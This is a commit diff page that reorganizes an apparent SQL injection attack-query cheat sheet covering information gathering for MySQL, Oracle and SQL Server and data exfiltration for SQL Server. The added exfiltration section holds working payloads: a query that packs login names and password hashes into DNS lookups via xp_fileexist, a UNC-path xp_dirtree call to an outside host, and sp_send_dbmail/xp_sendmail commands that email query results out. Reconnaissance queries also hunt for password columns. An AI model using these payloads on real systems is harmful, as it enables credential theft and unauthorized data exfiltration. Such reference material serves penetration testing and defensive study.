Skip to content

Commit 2ed5667

Browse files
JacobReynoldsJacobReynolds
authored
Reformatting information gathering (#2)
Making the table structures consistent across all 3 DBMSs and moving xp_sendmail and sp_send_dbmail to Data Exfiltration for SQL Server
1 parent 1183dc6 commit 2ed5667

File tree

4 files changed

+84
-71
lines changed

4 files changed

+84
-71
lines changed

‎attackQueries/dataExfiltration/sqlserver.html

+36-15
Original file line numberDiff line numberDiff line change
@@ -4,19 +4,40 @@ <h3 id="data-exfiltration">Data Exfiltration</h3>
44

55
<p><i>Note: It is possible to make a DNS request from MSSQL. However, this request requires administrator privileges and SQL Server 2005.</i></p>
66
<table class="table table-striped table-hover">
7-
<thead>
8-
<tr>
9-
<th>Description</th>
10-
<th>Query</th>
11-
</tr>
12-
</thead>
13-
<tbody>
14-
<tr>
15-
<td>Make DNS Request</td>
16-
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
17-
</tr>
18-
<tr>
19-
<td>UNC Path (DNS Request)</td>
20-
<td>xp_dirtree ‘\\data.domain.com\file’</td>
21-
</tbody>
7+
<thead>
8+
<tr>
9+
<th>Description</th>
10+
<th>Query</th>
11+
</tr>
12+
</thead>
13+
<tbody>
14+
<tr>
15+
<td>Make DNS Request</td>
16+
<td>DECLARE @host varchar(800);<br>select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + 'netspi.com' from sys.sql_logins;<br>exec('xp_fileexist "\' + @host + 'c$boot.ini"');</td>
17+
</tr>
18+
<tr>
19+
<td>UNC Path (DNS Request)</td>
20+
<td>xp_dirtree ‘\\data.domain.com\file’</td>
21+
</tr>
22+
<tr>
23+
<td>Enable sp_send_dbmail and send query</td>
24+
<td>sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='[email protected]',@query='select @@version';</td>
25+
</tr>
26+
<tr>
27+
<td>Basic xp_sendmail Query</td>
28+
<td>EXEC master..xp_sendmail '[email protected]', 'This is a test.'</td>
29+
</tr>
30+
<tr>
31+
<td>Send Full Email with xp_sendmail</td>
32+
<td>EXEC xp_sendmail @recipients='[email protected]',<br>@message='This is a test.',<br>@copy_recipients='[email protected]',<br>@subject='TEST'</td>
33+
</tr>
34+
<tr>
35+
<td>Send Query Results Via xp_sendmail</td>
36+
<td>EXEC xp_sendmail '[email protected]', @query='SELECT @@version';</td>
37+
</tr>
38+
<tr>
39+
<td>Send Query Results as Attachment Via xp_sendmail</td>
40+
<td>CREATE TABLE ##texttab (c1 text)<br>INSERT ##texttab values ('Put messge here.')<br>DECLARE @cmd varchar(56)<br>SET @cmd = 'SELECT c1 from ##texttab'<br>EXEC master.dbo.xp_sendmail 'robertk',<br>@query = @cmd, @no_header='TRUE'<br>DROP TABLE ##texttab</td>
41+
</tr>
42+
</tbody>
2243
</table>

‎attackQueries/informationGathering/mysql.html

+16-8
Original file line numberDiff line numberDiff line change
@@ -16,29 +16,37 @@ <h3 id="information-gathering">Information Gathering</h3>
1616
<td>Version</td>
1717
<td>SELECT @@version</td>
1818
</tr>
19+
<tr>
20+
<td>User</td>
21+
<td>SELECT user()<br/>SELECT system_user()</td>
22+
</tr>
1923
<tr>
2024
<td>Users</td>
21-
<td>SELECT user FROM mysql.user<br>SELECT user();<br>SELECT system_user()<br>* SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1</td>
25+
<td>SELECT user FROM mysql.user<br/>* SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1</td>
2226
</tr>
2327
<tr>
24-
<td>Current Database</td>
25-
<td>SELECT database()</td>
28+
<td>Tables</td>
29+
<td>SELECT table_schema, table_name FROM information_schema.tables</td>
30+
</tr>
31+
<tr>
32+
<td>Columns</td>
33+
<td>SELECT table_name, column_name FROM information_schema.columns</td>
2634
</tr>
2735
<tr>
2836
<td>Databases</td>
2937
<td>SELECT schema_name FROM information_schema.schemata<br></td>
3038
</tr>
3139
<tr>
32-
<td>Tables</td>
33-
<td>SELECT table_schema,table_name FROM information_schema.tables</td>
40+
<td>Current Database Name</td>
41+
<td>SELECT database()</td>
3442
</tr>
3543
<tr>
36-
<td>Columns</td>
37-
<td>SELECT table_schema, table_name, column_name FROM information_schema.columns</td>
44+
<td>Query another Database</td>
45+
<td>USE [database_name]; SELECT database();<br/>SELECT [column] FROM [database_name].[table_name]</td>
3846
</tr>
3947
<tr>
4048
<td>Number of Columns</td>
41-
<td>SELECT * FROM USERS ORDER BY 1<br><br><em>Increase 1 until query returns false, previous number was the amount of columns</em></td>
49+
<td>SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]'</td>
4250
</tr>
4351
<tr>
4452
<td>DBA Accounts</td>

‎attackQueries/informationGathering/oracle.html

+13-13
Original file line numberDiff line numberDiff line change
@@ -25,29 +25,29 @@ <h3 id="information-gathering">Information Gathering</h3>
2525
<td>SELECT username FROM all_users ORDER BY username;<br>* SELECT name FROM sys.user$;</td>
2626
</tr>
2727
<tr>
28-
<td>Current Database</td>
29-
<td>SELECT global_name FROM global_name;<br>SELECT name FROM v database;
30-
<br>SELECT instance_name FROM v$instance;<br>SELECT SYS.DATABASE_NAME FROM DUAL;</td>
31-
</tr>
32-
<tr>
33-
<td>Databases</td>
34-
<td>SELECT DISTINCT owner FROM all_tables;</td>
28+
<td>Tables</td>
29+
<td>SELECT table_name FROM all_tables;<br>SELECT owner, table_name FROM all_tables;</td>
3530
</tr>
3631
<tr>
37-
<td>DBA Accounts</td>
38-
<td>SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';</td>
32+
<td>Tables From Column Name</td>
33+
<td>SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';</td>
3934
</tr>
4035
<tr>
4136
<td>Columns</td>
4237
<td>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';<br>SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';</td>
4338
</tr>
4439
<tr>
45-
<td>Tables</td>
46-
<td>SELECT table_name FROM all_tables;<br>SELECT owner, table_name FROM all_tables;</td>
40+
<td>Current Database</td>
41+
<td>SELECT global_name FROM global_name;<br>SELECT name FROM V$DATABASE;
42+
<br>SELECT instance_name FROM V$INSTANCE;<br>SELECT SYS.DATABASE_NAME FROM DUAL;</td>
4743
</tr>
4844
<tr>
49-
<td>Tables From Column Name</td>
50-
<td>SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';</td>
45+
<td>Databases</td>
46+
<td>SELECT DISTINCT owner FROM all_tables;</td>
47+
</tr>
48+
<tr>
49+
<td>DBA Accounts</td>
50+
<td>SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';</td>
5151
</tr>
5252
<tr>
5353
<td>Privileges</td>

‎attackQueries/informationGathering/sqlserver.html

+19-35
Original file line numberDiff line numberDiff line change
@@ -15,28 +15,32 @@ <h3 id="information-gathering">Information Gathering</h3>
1515
<td>SELECT @@version;</td>
1616
</tr>
1717
<tr>
18-
<td>Database Name</td>
19-
<td>SELECT db_name();</td>
18+
<td>User</td>
19+
<td>SELECT user;<br>SELECT system_user;<br>SELECT user_name();<br>SELECT loginame from master..sysprocesses where spid = @@SPID</td>
2020
</tr>
2121
<tr>
22-
<td>Databases</td>
23-
<td>SELECT name from master..sysdatabases;</td>
22+
<td>Users</td>
23+
<td>SELECT name from master..syslogins</td>
2424
</tr>
2525
<tr>
26-
<td>Server Name</td>
27-
<td>SELECT @@SERVERNAME</td>
26+
<td>Tables</td>
27+
<td>SELECT table_catalog, table_name FROM information_schema.columns</td>
2828
</tr>
2929
<tr>
30-
<td>Database Tables and Columns</td>
31-
<td>SELECT table_name, column_name FROM information_schema.columns</td>
30+
<td>Columns</td>
31+
<td>SELECT table_catalog, column_name FROM information_schema.columns</td>
3232
</tr>
3333
<tr>
34-
<td>Current Database User</td>
35-
<td>SELECT user;<br>SELECT system_user;<br>SELECT user_name();<br>SELECT loginame from master..sysprocesses where spid = @@SPID</td>
34+
<td>Databases</td>
35+
<td>SELECT name from master..sysdatabases;</td>
3636
</tr>
3737
<tr>
38-
<td>Users</td>
39-
<td>SELECT name from master..syslogins</td>
38+
<td>Database Name</td>
39+
<td>SELECT db_name();</td>
40+
</tr>
41+
<tr>
42+
<td>Server Name</td>
43+
<td>SELECT @@SERVERNAME</td>
4044
</tr>
4145
<tr>
4246
<td>Find Stored Procedures</td>
@@ -60,7 +64,7 @@ <h3 id="information-gathering">Information Gathering</h3>
6064
t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id</td>
6165
</tr>
6266
<tr>
63-
<td>Get SQL Domain User</td>
67+
<td>Domain User</td>
6468
<td><a target="_blank" rel="noopener" href="https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql">https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql</a></td>
6569
</tr>
6670
<tr>
@@ -74,40 +78,20 @@ <h3 id="information-gathering">Information Gathering</h3>
7478
s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id</td>
7579
</tr>
7680
<tr>
77-
<td>View queries run on the system</td>
81+
<td>Query history</td>
7882
<td>SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,<br/> (SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset
7983
= -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2) <br/>ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count
8084
DESC
8185
</td>
8286
</tr>
8387
<tr>
84-
<td>List enabled audit specifications</td>
88+
<td>Enabled audit specifications</td>
8589
<td><a href="https://gist.github.com/nullbind/5da8b5113da007ba0111" target="_blank" rel="noopener">https://gist.github.com/nullbind/5da8b5113da007ba0111</a></td>
8690
</tr>
8791
<tr>
8892
<td>Local Administrators in Sysadmin Role</td>
8993
<td>SELECT is_srvrolemember('sysadmin','BUILTIN\Administrators')</td>
9094
</tr>
91-
<tr>
92-
<td>Enable database mail</td>
93-
<td>sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='[email protected]',@query='select @@version';</td>
94-
</tr>
95-
<tr>
96-
<td>Basic xp_sendmail Query</td>
97-
<td>EXEC master..xp_sendmail '[email protected]', 'This is a test.'</td>
98-
</tr>
99-
<tr>
100-
<td>Send Full Email with xp_sendmail</td>
101-
<td>EXEC xp_sendmail @recipients='[email protected]',<br>@message='This is a test.',<br>@copy_recipients='[email protected]',<br>@subject='TEST'</td>
102-
</tr>
103-
<tr>
104-
<td>Send Query Results Via xp_sendmail</td>
105-
<td>EXEC xp_sendmail '[email protected]', @query='SELECT @@version';</td>
106-
</tr>
107-
<tr>
108-
<td>Send Query Results as Attachment Via xp_sendmail</td>
109-
<td>CREATE TABLE ##texttab (c1 text)<br>INSERT ##texttab values ('Put messge here.')<br>DECLARE @cmd varchar(56)<br>SET @cmd = 'SELECT c1 from ##texttab'<br>EXEC master.dbo.xp_sendmail 'robertk',<br>@query = @cmd, @no_header='TRUE'<br>DROP TABLE ##texttab</td>
110-
</tr>
11195
<tr>
11296
<td>Domain users and LDAP queries via database links and openrowset</td>
11397
<td><a href="https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-SQLDomainUser-Example.sql" target="_blank" rel="noopener">https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-SQLDomainUser-Example.sql</a></td>

0 commit comments

Comments
 (0)